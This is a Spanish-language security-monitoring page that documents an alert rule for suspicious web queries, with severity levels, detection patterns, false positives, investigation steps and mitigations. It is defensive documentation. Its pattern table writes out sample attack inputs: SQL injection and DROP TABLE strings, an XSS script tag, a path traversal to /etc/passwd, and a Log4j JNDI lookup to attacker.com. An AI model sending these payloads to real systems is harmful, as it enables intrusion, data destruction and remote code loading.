Ir al contenido

Suspicious Query Detection

ID de alerta: suspicious_query MITRE ATT&CK: T1190 – Exploit Public-Facing Application


NivelCondición
MediaPatrones XSS (2–3 detecciones)
AltaXSS múltiple, Path Traversal, LDAP Injection
CríticaSQL Injection, Code Execution, XXE, Flood (≥5 queries en 30 s)

  • SQLi: acceso y manipulación completa de la base de datos.
  • RCE: ejecución de código remoto.
  • XSS: robo de sesiones, defacement, phishing.
  • Path Traversal: lectura de ficheros sensibles.
  • LDAP/XXE: ataque a servicios internos.
  • Flood: DoS o explotación automatizada.

  • Análisis en tiempo real sobre GET / POST / COOKIE / URI / Headers.
  • Flood: ≥5 queries maliciosas en 30 segundos (cooldown 5 min).
  • Detección por patrones: ~200+ regex en 6 categorías.
  • Ejemplos SQL: UNION SELECT, OR 1=1, benchmark(), sleep().

TipoPatrón
log_pattern — SQL clásico' OR '1'='1
log_pattern — XSS"><script>alert(1)</script>
log_pattern — Path Traversal../../../../../../etc/passwd
log_pattern — SQL drop'; DROP TABLE users--
log_pattern — Log4j${jndi:ldap://attacker.com/a}

  • Requests de herramientas de desarrollo o pentesting autorizadas.
  • Plugins de seguridad que lanzan tests.
  • Contenido legítimo en posts (ej. snippets de código).
  • Bots de indexación mal configurados que generan floods.

  1. Extraer requests del atacante:

    Ventana de terminal
    grep "IP_ADDRESS" access.log | tail -100
  2. Buscar vectores:

    Ventana de terminal
    grep -E "UNION|SELECT|<script|eval" access.log
  3. Verificar si payloads fueron exitosos: comparar códigos de respuesta y tamaño.

  4. En floods: identificar User-Agent y patrón; correlacionar con WAF/IDS.

  5. Si hay indicios de explotación, exportar logs y preservar evidencia.


=== “Inmediatas”

!!! danger ""
- Bloquear IP en WAF/firewall.
- Aplicar rate limiting agresivo a origen sospechoso.
- Revisar y revertir cambios en DB/archivos si hubo éxito.
- Habilitar inspección profunda de payloads en WAF.

=== “Preventivas”

!!! tip ""
- WAF con OWASP CRS y reglas específicas para SQLi/XSS/XXE.
- Usar prepared statements y ORM en código custom.
- Validación y saneamiento estricto de entrada.
- Content Security Policy para mitigar XSS.
- Fail2ban/jails específicos para patrones detectados.